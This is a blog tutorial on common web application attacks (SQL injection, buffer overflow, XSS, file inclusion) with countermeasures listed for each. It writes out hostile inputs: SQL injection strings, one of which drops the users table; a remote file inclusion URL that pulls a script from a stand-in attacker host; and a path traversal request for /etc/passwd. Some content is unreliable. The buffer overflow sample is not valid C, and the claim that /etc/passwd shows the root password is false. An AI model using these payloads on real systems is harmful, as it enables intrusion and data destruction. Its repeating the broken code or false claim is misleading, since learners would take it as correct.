Web application exploitation techniques and its counter measures

 In Blog

Web Application Exploitation Techniques and its Countermeasures

Introduction

Web Applications are mainly used commercial transactions and sensitive data transfers nowadays. Most of the web application contains security vulnerabilities which enables attacker to exploit them. The term vulnerability refers to a flaw or misconfiguration in a website or web application code in a system that can leave the system open to exploitation.

This allows the attacker to steal data, distribute malicious code and spam content into the vulnerable site. In this article, let us see some of the common web application exploitation techniques and its countermeasures.

 

SQL injection

SQL injection is a technique that an attacker can use to exploit web applications that uses client input to directly execute the SQL query. Typically a SQL query may contains insert/update or select statements to push or pull data from the database. This may allow the attacker to get sensitive records, execute malicious SQL scripts. Consider this scenario of logging into a web application. In backend we will check the user name and password with SQL query and if it matches then we will allow the user to login.

Normal Scenario

Username : admin

Password : admin@123

Query: select * from users where name= ‘admin’ and pass=’admin@123’.

But this behavior can tampered with SQL injection attack as given below.

Username : admin

Password : ‘or 1=1 —

Query: select * from users where name= ‘admin’ and pass=’’  or 1=1 –‘

This above query now checks for an empty password, or the condition  1=1, then a valid row will be found in the users table. The first ‘ quote is used to terminate the string and  ’– ‘ is used to comments the remaining  portion of the query.

Username : ‘ or 1=1; drop table users; —

Password :

Query: select * from users where name= ‘’ or 1=1; drop table users; — and pass=’’.

This above query can be manipulated to drop any table. This vulnerability is very critical in financial situation where the attacker can able to change transaction, balance etc. Using this attack it is also possible to shut down the SQL server completely.

Countermeasures:

  • Avoid exposing SQL error messages in front end.
  • Validate the user input for SQL keywords before using them in query.
  • Parametrize the user input.

 

Buffer overflow attack

This attack allows the attacker to overflow a memory location by allocating more data to the memory than it can actually hold. This makes the program to crash or make a way to the attacker to gain control over the control flow of the program. The buffer overflow attack is highly possible in language which allows direct manipulation of memory like C, C++. The idea of this vulnerability is simple. Consider the following example.

 

char pass[10];       

 int  valid = 0;

if(gets(pass)  !=  ‘Password1’) {          //get user input      

print(‘wrong  password’)         

}else {   

  print(‘correct password’)     

  valid = 1               

 }

  if(valid != 0){ 

 print(‘root privilege given’)        

   }

Here if the user inputs password fewer than 10 characters the program will work as expected. But if the user gives more the 10 characters and even it is wrong password, there is a good chance that the remaining data will overflow to nearby memory location and change the value of ‘valid’ variable. This will make the second ‘if’ condition to pass and access will be granted even if wrong password is entered.

Countermeasures:

  • Always check the bounds of a variable before assigning it.
  • Proper memory auditing of the program.

 

Cross site scripting

Cross-Site Scripting an application-layer web attacks. It is achieved using client-side code injection. The attacker aims to execute malicious scripts in a web browser. There are two types of this attack.

         Persistent XSS

Consider a web application that allows users to share posts that will be displayed on each user feed page. The application stores each posts in database. The attacker inputs malicious JavaScript code as part of the post and submits it. When other users view the attacker’s posts , the malicious code automatically executes in their browser

         Reflective XSS

These attacks are mostly carried out by delivering a payload directly to the victim. For example, the attacker could send the victim a email with a link containing malicious JavaScript. If the victim clicks on the link, the request is passed from the victim’s browser and sent to the malicious web application. The malicious JavaScript is then reflected back to the victim’s browser, where it is executed.

Countermeasures:

  • Validating input coming from web applications in server side.
  • Sanitizing user input.
  • Avoid outputting data received as input directly to the browser without checking it for malicious code.

 

File inclusion attack

Remote File Inclusion that allows the attacker to upload a custom malicious file on a website or server using a script. When a website dynamically loads a page based on the user input or based on the URL path, this attack would be carried out.

A page with a URL like this

example.com/index.php?page=home

can be modified to

example.com/index.php?page=http://hacker.com/evilscript

The above request would execute content inside the script file in the server side and pulsl out the results and show it to the attacker in the web page.

Sometimes we can directly get the contents of the files inside the server too. If the server is running Linux, the attacker can able to get the root password by issuing this command in script file

example.com/index.php?page=../../../../../../../../etc/passwd

This will display the server’s root password in the web attacker’s web page.

Countermeasures:

  • Avoid file inclusion based on search term or user input.
  • Restrict access to sensitive information in server.
  • Keep the server running with less privileges.

 

Recent Posts

Leave a Comment

Start typing and press Enter to search

augmented-reality